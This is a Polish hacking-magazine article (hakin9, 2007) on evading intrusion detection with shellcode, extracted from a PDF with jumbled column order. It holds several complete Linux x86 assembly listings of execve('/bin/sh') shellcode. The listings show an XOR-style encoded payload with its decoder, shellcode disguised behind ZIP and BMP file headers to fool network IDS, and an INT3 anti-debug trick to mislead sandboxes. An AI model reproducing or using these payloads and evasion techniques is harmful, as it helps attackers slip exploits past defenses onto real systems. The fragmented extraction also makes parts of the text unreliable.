Schellcody nowej generacji.pdf

Ewolucja Kodów Powłoki

Atak

Itzik Kotler

stopień trudności

Kod powłoki jest fragmentem kodu maszynowego, który

wykorzystuje się jako ładunek przy atakach bazujących na

wykorzystaniu błędów softwarowych. Wykorzystywanie słabych

punktów w rodzaju przepełnienia bufora przydzielonego na stosie

lub stercie lub stringów formatujących wymagają kodu powłoki. Kod

ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.

kody powłoki działają na bazie dostę-

pu do linii poleceń systemu który jest

celem ataku – stąd zresztą wzięła się nazwa

tej techniki. Powłoka to program, który daje

dostęp do serwisów udostępnianych przez

jadro systemu. Przykładami powłoki mogą być

CMD.EXE (dla systemów z rodziny Windows)

bądź /bin/bash (dla systemów z rodziny Linux,

UNIX). Kody powłoki próbują uruchomić wła-

śnie te aplikacje. Zagrożenie powiązane z ko-

dem powłoki jest bardzo duże, jako że kod taki

będzie wywołany z takim samymi przywilejami

jak wykorzystany przez niego proces – mogą

być to zarówno przywileje użytkownika jak

i administratora. Maja te ostatnie, kod powłoki

ma moc do przeprowadzenia niemalże każdej

operacji w systemie, a na dodatek może zrobić

to w niewidoczny sposób, jako że jego poczy-

nania będą maskowane przez eksploatowny

proces.

Istnieje duża różnorodność rozwiązań

stworzonych w celu zapobiegania kodów

powłoki w systemach. Może to być zarówno

instalacja dedykowanych systemów detekcji

i usuwania intruzów jak i różnego rodzaju

czynności prewencyjne narzucone przez ad-

ministratora systemu. Z punktu widzenia ataku-

jącego są to pewne przeszkody. W niniejszym

artykule przedstawię koncepcje na których

bazuje część ze wspomnianych rozwiązań

wskazując przy okazji na ich słabe strony.

Pokażę również przykład rzeczywistego ko-

du powłoki, który wykorzystuje słabe punkty

w celu ominięcia systemu zabezpieczeń. Mimo

Czego się nauczysz

• jakie przeszkody spotyka napastnik próbujący

uruchomić kod powłoki na systemie będącym

celem ataku oraz jak wyglądają sposoby obej-

ścia tych przeszkód,

• jak projektować i implementować bardziej

sprytne kody powłoki.

Co powinieneś znać

• podstawy Assemblera x86 dla platformy Linux,

• podstawowe informacje na temat technik

ataków bazujących na przepełnieniu bufora

przydzielonego na stosie lub na stercie, oraz

ataków wykonywanych przy pomocy napisów

formatujących.

hakin9 Nr 1/2007

www.hakin9.org

N ajbardziej powszechne i popularne

xxxxx

tego, iż prezentowane kody powłoki

zostały zaprojektowane dla syste-

mów Linux działających w archi-

tekturze x86 to część koncepcji na

których one bazują można uznać za

przenośnie i wykorzystać na innych

platformach.

Innym słabym punktem tej

metody są warstwy bezpiecznego

przesyłania danych w sieci. Pro-

tokoły typu SSL czy VPN (IPSec)

są wykorzystywane w celu tzw.

tunelowania, które omija NDIS, jako

że przekazywane dane są szyfro-

wane i deszyfrowane w końcowych

punktach połączenia. W tej sytuacji

NDIS nie jest w stanie zdekodować

przychodzących danych i baza reguł

staje się bezużyteczna.

ilość danych i na dodatek (domyśl-

nie) posiada zezwolenie na czytanie,

pisanie i co najbardziej istotne – wy-

konywanie kodu który się aktualnie

na nim znajduje.(Listing 2)

W dalszej kolejności mamy kod

dekodera. Szyfrowanie w tym przy-

padku jest prostą grą inkrementacji

i dekrementacji. Dekoder jest złożony

Ewolucja kontra

Diagnozowanie

„po kablu”

Metoda diagnozowania „po kablu”

(ang. Wire diagnose ) jest często im-

plementowana w ramach systemów

klasy IDS (ang. Intrusion Detection

Systems ) oraz IPS (ang. Intrusion

Prevention Systems ). Rozwiązania

te różnią się przede wszystkim ro-

dzajem zakresami kontroli. Pierwsze

skupiają się na warstwie komunika-

cyjnej próbując wyłapać tu wszelkie

rodzaje podejrzanych pakietów

w sieci, które przebrnęły przez kla-

syczną zaporę systemu; drugie mo-

nitorują system na poziomie hosta,

próbując wyłapać tu wszelkie rodza-

je złośliwych zachowań.

Metoda diagnozowania “po

kablu” jest jedną z właściwości

NIDS (systemu detekcji intruzów)

i polega na rozpoznawaniu i kla-

syikacji pakietów nadchodzących

z sieci zanim dotrą one do swoich

punktów przeznaczenia. W przy-

padku rozpoznania potencjalnego

niebezpieczeństwa system podno-

si alarm. Podobnie jak programy

antywirusowe, NDIS posiada bazę

danych podpisów i wzorców, które

związane są z próbami włamań

do systemów. Baza taka składa

się zazwyczaj z listy najczęściej

używanych bajtów, lub sekwencji

bajtów pojawiających się w kodach

powłoki.

Siła tej metody zależy z jednej

strony od jakości informacji składo-

wanych w bazie, zaś z drugiej – od

tego na ile “typowa” jest struktura

kodu powłoki, który próbuje włamać

się do systemu. Ponieważ z punktu

widzenia napastnika baza reguł

NDIS jest niedostępna, dlatego je-

dynym sposobem na obejście tej

przeszkody jest zmiana struktury

kodu powłoki; zjawisko to zwane jest

polimorizmem.

Listing 1. Zaszyfrowane kody

powłoki składają się z dwóch

części

CJO0TI równa się

/BIN/SH

Szyfrowanie kodu powłoki to pod-

stawowy mechanizm prowadzący do

uzyskania polimorizmu. Proces ten

pozwala bezkarnie wykorzystywać

„oznaczone” bajty i sekwencje nie

martwiąc się o to, ze zostaną one

przechwycone po stronie NDIS. Ist-

nieje cała gama metod szyfrowania,

przy czym większość z nich bazuje

na funkcjach matematycznych lub

bramkach logicznych. Szyfrowanie

kodu powłoki może również pole-

gać na tworzeniu luk w strumieniu

danych, który przechodzi przez sieć

– luki te są usuwane przed wywoła-

niem kodu w docelowym systemie.

Polimorizm kodów powłoki moż-

na zauważyć również w przypadku

kiedy próba ataku opiera się o pro-

tokół wymagający ograniczonego ze-

stawu znaków. Na przykład protokoły

działające w oparciu o dane tekstowe

automatycznie odrzucają jakiekol-

wiek dane binarne. W takim przypad-

ku kody powłoki są reprezentowane

w postaci alfanumerycznej.

Zaszyfrowane kody powłoki skła-

dają się z dwóch części: zakodowa-

nego ładunku oraz dekodera, który

deszyfruje pierwszą część i na końcu

wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod

powłoki w momencie wywołania ma

postać execve("/bin/sh") . Jednakże

w postaci zakodowanej wygląda zu-

pełnie inaczej.

Kod powłoki rozpoczyna się

serią instrukcji PUSH. Przy każdym

wywołaniu tej instrukcji na stos wrzu-

cane są 4 bajty zaszyfrowanego ła-

dunku. Stos jest idealnym miejscem

gdzie można rozpakować niewielką

# ( linux / x86 ) execve ( "/bin/

sh" ,

[ "/bin/sh" ] , NULL ) / zakodowane

przez + 1 - 39 bajt ó w

# - izik@tty64.org

. section . text

. global _start

_start :

# Zakodowany ładunek

( drugi kod pow ł oki )

pushl $ 0x81cee28a

pushl $ 0x54530cb1

pushl $ 0xe48a6f6a

pushl $ 0x63306901

pushl $ 0x69743069

pushl $ 0x14

popl % ecx

# Pętla dekodująca

_unpack_loop :

decb (% esp , % ecx , 1 )

decl % ecx

jns _unpack_loop

incl % ecx

mul % ecx

# Skocz do

zdekodowanego kodu pow ł oki

push % esp

ret

Listing 2. Kod powłoki

rozpoczyna się serią instrukcji

PUSH

# Zakodowany ładunek

( drugi kod pow ł oki )

pushl $ 0x81cee28a

pushl $ 0x54530cb1

pushl $ 0xe48a6f6a

pushl $ 0x63306901

pushl $ 0x69743069

www.hakin9.org

hakin9 Nr 1/2007

atak

z pętli, która czyta bajt po bajcie dane

wrzucone na stos i wykonuje na nich

operację odejmowania w celu przy-

wrócenie oryginalnej wartości. Po za-

kończeniu pętli kod powłoki wykonuje

skok do ładunku umieszczonego na

stosie (Listing 3.).

Oczywiste jest, że im łatwiejsza

metoda dekodowania tym mniejszy

będzie dekoder. Podejście to ma

jeszcze jedną zaletę – pozwala uży-

wać zabronionych bajtów – chociaż-

by takich jak NULL . NULL z racji tego,

że jest stosowany jako znacznik

końca napisu, nie powinien być uży-

wany w ciele kodu powłoki (kod taki,

w przypadku ataków polegających

na wykorzystaniu stringów mógłby

być przedwcześnie obcięty). Jednak

przy zastosowaniu szyfrowania pro-

blem znika – podatna na atak funkcja

(np. strcpy() ) nigdy nie przetworzy

wartości NULL , gdyż jest ona zako-

dowana.

Pomimo tego, że szyfrowanie

zmienia wygląd zewnętrzny kodu

powłoki, warto zauważyć iż wyni-

kowa postać nie zawsze musi być

odporna na metodę diagnozowania

„po kablu”. Problem w tym, że wielo-

krotne wykorzystanie tego samego

schematu szyfrowania może spra-

wić, że odpowiedzialny za to kod

będzie zarejestrowany jako wzorzec

i umieszczony w bazie danych. Aby

uzyskać w miarę niezawodne roz-

wiązanie należałoby ciągle modyi-

kować zarówno samą formułę kodu

powłoki jak i metodę szyfrowania tej

formuły.

Ja jestem ZIP,

a kim jesteś Ty?

Częstym sposobem na rozróżnienie

dwóch różnych formatów danych

jest próba odczytania pewnych

znaczników. Dla przykładu – do

poszczególnych formatów często

przypisuje się konkretne rozszerze-

nia plików, i co więcej – lwia część

formatów danych posiada nagłówki

opatrzone „magicznymi” numerami

bądź bajtami. Bajty te są często

przydatne kiedy aplikacja próbuje

zweryikować czy nadchodzący

strumień danych ma w pożądany

format.

Wstawianie do kodu powłoki

„magicznych” bajtów powiązanych

z powszechnie rozpoznawanymi

formatami plików może być bardzo

pomocne przy oszukiwaniu narzę-

dzi monitorujących ruch w sieci.

Szczególnie w przypadkach prób

włamania się do systemu poprzez

takie standardowe kanały jak poczta

elektroniczna czy zawartość stron

webowych, bardzo ważne jest to

aby kod powłoki otrzymał fałszywą

„osobowość”. Dla przykładu, kod

powłoki, który przedstawia się jako

ZIP ma dużą szansę ogłupić system

wykrywania intruzów i osiągnąć swój

cel (Listing 4.).

Kod powłoki zaczyna się 5

bajtowym nagłówkiem charaktery-

stycznym dla popularnego formatu

kompresji – ZIP. W tym przypadku

bardzo istotny jest fakt, iż wspomnia-

ne 5 bajtów da się przekształcić

w poprawne instrukcje asemblera.

Ponieważ system skupia się na

wychwytywaniu kodów powłoki,

niewątpliwie weźmie w pierwszej

kolejności pod lupę właśnie te bajty

i istnieje szansa, że rozpozna je jako

nagłówek poprawnego bądź uszko-

dzonego archiwum ZIP. Nawet jeśli

system monitoringu nie jest w sta-

nie rozpoznać formatu ZIP, to i tak

uzyskamy pewną przewagę, jako

że bajty nagłówkowe są rzadko uży-

wane w kodach powłoki, co uczyni

nasze rozwiązanie trudniejszym do

wykrycia.

Przy próbie podszywania się pod

taki czy inny format, powodzenie ata-

ku zależy prawie zawsze od głębo-

kości analizy przeprowadzanej przez

system monitorowania. Nie zawsze

też udaje się zrekonstruować dany

format w taki sposób, aby można

go było przetłumaczyć na popraw-

ne instrukcje asemblera. Czasami

też trudno jest w pełni odtworzyć

z poziomu kodu powłoki strukturę

Listing 3. Skok pętli do ładunku

umieszczonego na stosie

# Pętla dekodująca

_unpack_loop :

decb (% esp , % ecx , 1 )

decl % ecx

jns _unpack_loop

incl % ecx

mul % ecx

# Jump to the decoded

shellcode

push % esp

ret

Listing 4. Kod powłoki

# x86 / linux – execve ( "/bin/

sh" ,

[ "/bin/sh" , NULL ]) + Nag łó wek

ZIP - 28 bajt ó w

# - izik@tty64.org

. section . text

. global _start

_start :

# PK[\03\04], Nagłówek

archiwum

danych PK [ Zip ] ( 5 bajt ó w )

. byte 0x50

. byte 0x4b

. byte 0x03

. byte 0x04

. byte 0x24

# execve ( "/bin/sh" ,

[ "/bin/sh" , NULL ]);

push $ 0xb

popl % eax

cdq

push % edx

push $ 0x68732f2f

push $ 0x6e69622f

mov % esp , % ebx

push % edx

push % ebx

mov % esp , % ecx

int $ 0x80

Itzik Kotler jest badaczem zajmu-

jącym się problemami bezpieczeń-

stwa w systemach informatycznych,

oraz założycielem projektu TTY64.

Wspomniany projekt skupia się na

promowaniu technik programowania

zorientowanych na bezpieczeństwo,

a także na wszelkich aspektach po-

wiązanych z tym tematem. Na stronie

domowej projektu można znaleźć wiele

ciekawych informacji i zasobów po-

wiązanych z tematem (między innymi

przykładowe fragmenty kodu, gotowe

projekty oraz samouczki).

Kontakt z autorem: izik@tty64.org

hakin9 Nr 1/2007

www.hakin9.org

xxxxx

formatu. W rezultacie system moni-

torujący, który szuka dostatecznie

głęboko, będzie w stanie zauważyć,

że coś jest nie tak. Przeglądając

listę popularnych formatów można

zauważyć, że niektóre z nic maja

luźniejszą strukturę niż inne – za-

równo w odniesieniu do nagłówka

jak i do zawartości. Dobrymi kan-

dydatami są formaty reprezentujące

dane multimedialne – w szczególno-

ści w postaci surowej (nie skompre-

sowanej). Formaty te są zazwyczaj

bardzo elastyczne i co ważne – na

tyle popularne, aby postrzegać je

jako część typowego ruchu w sieci

(Listing 5.).

Bitmapa (.BMP) jest surowym

formatem do reprezentacji obrazu,

który jest wręcz idealną przykryw-

ką dla kodu powłoki. Trik w tym

przypadku polega na tym, iż trudno

wyobrazić sobie system monitoro-

wania, który potraiłby przewidzieć

czy danych obraz jest prawdziwy

czy nie.

Koncepcję tę można oczywiście

stosować w odniesieniu do innych

formatów – dobrymi kandydatami są

RIFF (.WAV) oraz Rich Text (.RTF).

Podstawowym ograniczeniem przy

stosowaniu tej techniki jest fakt,

że wszystkie bajty występujące

w nagłówku formatu, który planuje-

my wykorzystać jako kamulaż kodu

powłoki muszą być prawidłowymi

instrukcjami asemblera. W innym

przypadku wywołanie kodu powłoki

zakończy się błędem naruszania

dostępu w trakcie wykonania.

Kluczowym elementem opisy-

wanego w tym miejscu procesu

jest badanie efektów wykonania

kodu, który został sklasyfikowany

jako podejrzany (na przykład przy

pomocy metody diagnozowania

„po kablu”). Proces ten jest prze-

prowadzany w tzw. piaskownicy

(ang. Sandbox ), czyli w bezpiecz-

nym, odizolowanym środowisku

– może być to dla przykładu

wirtualny lub realny serwer, który

przetwarza/wykonuje podejrzany

kod, śledząc przy okazji każdy

jego krok i zapisując wyniki jego

Ewolucja kontra

diagnozowanie w czasie

wykonania

Metoda tzw. diagnozowania w czasie

wykonania jest kolejnym często sto-

sowanym rozwiązaniem stosowanym

w systemach IDS oraz IPS. Metoda ta

jest zazwyczaj wykorzystywana jako

rozszerzenie mechanizmu diagnozo-

wania „po kablu”, który omawiałem

w jednym z poprzednich punktów.

Listing 6. Pułapka INT 3h

# (linux/x86) trik

anty - debugowy

( INT 3 h trap ) +

execve ( "/bin/sh" ,

[ "/bin/sh" , NULL ] ,

NULL ) - 39 bajt ó w

# - izik@tty64.org

. section . text

. global _start

_start :

# Program obsługi

sygna ł u rejestru

push $ 0x30

popl % eax

push $ 0x5

popl % ebx

jmp _evil_code

# Sprawdzenie debugera

_evilcode_loc :

popl % ecx

int $ 0x80

int3

incl % eax

# Alternatywny strumień

przetwarzania

_evil_code :

call _evilcode_loc

# Prawdziwy kod powłoki

cdq

movb $ 0xb , % al

push % edx

push $ 0x68732f2f

push $ 0x6e69622f

mov % esp , % ebx

push % edx

push % ebx

pushl % esp

jmp _evilcode_loc

Listing 5. Formaty – na tyle popularne, aby postrzegać je jako część

typowego ruchu w sieci

# x86 / linux – execve ( "/bin/sh" ,

[ "/bin/sh" , NULL ]) + Nag łó wek

24 - bitowej Bitmapy - 23 bajty

# - izik@tty64.org

. section . text

. global _start

_start :

# Nagłówek 24-bitowej Bitmapy

. byte 0x42

. byte 0x4D

. byte 0x36

. byte 0x91

# execve ( "/bin/sh" , [ "/bin/sh" , NULL ]);

push $ 0xb

popl % eax

cdq

push % edx

push $ 0x68732f2f

push $ 0x6e69622f

mov % esp , % ebx

push % edx

push % ebx

mov % esp , % ecx

int $ 0x80

www.hakin9.org

hakin9 Nr 1/2007

atak

działania. Porównując te wyniki

z danymi wyjściowymi produko-

wanymi przez inne kody powłoki

można łatwo wyłapać potencjalnie

niebezpieczny kod, zaś dzięki te-

mu, że eksperymenty przeprowa-

dzane są w piaskownicy atakujący

nie jest w stanie dokonać żadnych

poważanych uszkodzeń.

Siłą tej metody jest jej aktywny

charakter. W przypadku diagnozy

„po kablu” bazujemy głównie na

predeiniowanych zasadach – tutaj

zaś podejrzany kod uruchamiany

jest na symulowanym CPU co po-

zwala wyłapywać aktywność kodów

powłoki na najniższym z możliwych

poziomów. Jako, że głównym celem

kodu powłoki jest uruchomienie się

na CPU atakowanego systemu,

piaskownica może bardzo łatwo

śledzić i notować tego typu zacho-

wania. Zmiany struktury kodu po-

włoki na poziomie bajtów nic w tym

przypadku nie pomoże, gdyż kod

taki czy tak, czy siak ukaże swoją

prawdziwą twarz w momencie wy-

wołania.

Zaprezentowany kod powłoki

implementuje jeden z najbardziej

podstawowych trików anty-debugo-

wych, czyli pułapkę INT 3h. Uwię-

zienie potencjalnego debugera

polega na uruchomieniu przerwania

3H i ustawienia programu obsługi sy-

gnału (lub wyjątku) w kodzie powłoki.

W rezultacie, gdy kod powłoki działa

w trybie odpluskwiania to przerwa-

nie sprawi, że debuger się zatrzyma

(INT 3h jest standardowym przerwa-

niem wykorzystywanym przez de-

bugery). Ggd debuger zatrzyma się

na kodzie, ustawi EIP na punkt za

kodem operacji INT 3h i (zakładając,

że nie został przekonigurowany), nie

wywoła programu obsługi zawartego

w kodzie powłoki.

Kod umieszczony w procedu-

rze obsługi przerwania deiniuje

bezpieczną ścieżkę. Ścieżka

niebezpieczna zawarta jest w sekcji

następującej po kodzie operacji INT

3h. Dzięki temu, że większość inte-

raktywnych i praktycznie wszystkie

nie-interaktywne debugery nie dzielą

przerwania z aplikacją, kod powłoki

może tak zaplanować swój strumień

przetwarzania, aby ukryć swoje do-

celowe przeznaczenie (Listing 7.).

W pierwszej kolejności kod

powłoki rejestruje program obsłu-

gi sygnału dla SIGTRAP (INT3).

Następnie wykorzystuje wsteczne

CALL aby w trakcie wykonania

pobrać lokację kodu oznaczonego

jako _evil_code . Adres jest przeka-

Listing 7. Kolejność rejestracji

kodu powłoki

# Rejestruj program obsługi

sygnału

push $ 0x30

popl % eax

push $ 0x5

popl % ebx

jmp _evil_code

...

_evilcode_loc :

popl % ecx

int $ 0x80

...

_evil_code :

call _evilcode_loc

...

Nie debuguj mnie

Sztuczki anty-debugowe są bardzo

popularne w przypadku komercyj-

nych aplikacji Windows. Bazują one

na dołączaniu do docelowej aplikacji

fragmentów kodu, które utrudniają

lub uniemożliwiają debugowanie lub

wsteczną inżynierię tychże aplika-

cji. Oczywiście nie zakładamy, że

atakowany system będzie działał

w trybie odpluskwiania więc można

bezpiecznie założyć, że osadzanie

tego rodzaju wstawek do kodu po-

włoki nie będzie przeszkodą przy

uruchomieniu go na tym systemie.

Tym co naprawdę chcemy uzyskać

jest wprowadzenie chaosu do pia-

skownicy. Istnieje cała gama trików

anty-debugowych, przy czym naj-

ciekawsze nie są wcale te, które

na ślepo blokują debugery, lecz te

które pozwalają aplikacji stwierdzić

czy jest w trakcie debugowania

– co z kolei pozwala jej modyikować

swoje zachowania w zależności od

odpowiedzi na to pytanie.

Jeśli kod powłoki posiadałby

„świadomość” na temat tego, że

został uruchomiony w piaskownicy

(lub w środowisku debugującym), to

mógłby wprowadzić program odplu-

skwiający w błąd rozdzielając swój

strumień przetwarzania na dwie

ścieżki – bezpieczną (zawierającą

pełną funkcjonalność) oraz niebez-

pieczną (prowadzącą do wcześniej-

szego zakończenia). Patrz Listing 6.

Listing 8. Po uruchomieniu

przerwania INT3 następuje

docelowy test

# Sprawdzenie debugera

_evilcode_loc :

...

int3

...

Listing 9. Debuger zdejmuje

wartość ze stosu i wartość EIP

zwiększa się o jeden

Listing 10. Część kodu

powłoki, która zostałaby

uruchomiona w sytuacji

wywołania funkcji zwrotnej dla

SIGTRAP

# Sprawdzenie debugera

_evilcode_loc :

popl % ecx

int $ 0x80

int3

# Debugger przeniesie bieg

programu

w to

miejsce!

# Docelowy kod powłoki

cdq

movb $ 0xb , % al

push % edx

push $ 0x68732f2f

push $ 0x6e69622f

mov % esp , % ebx

push % edx

push % ebx

pushl % esp

jmp _evilcode_loc

incl % eax

_evil_code :

call _evilcode_loc

hakin9 Nr 1/2007

www.hakin9.org

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika: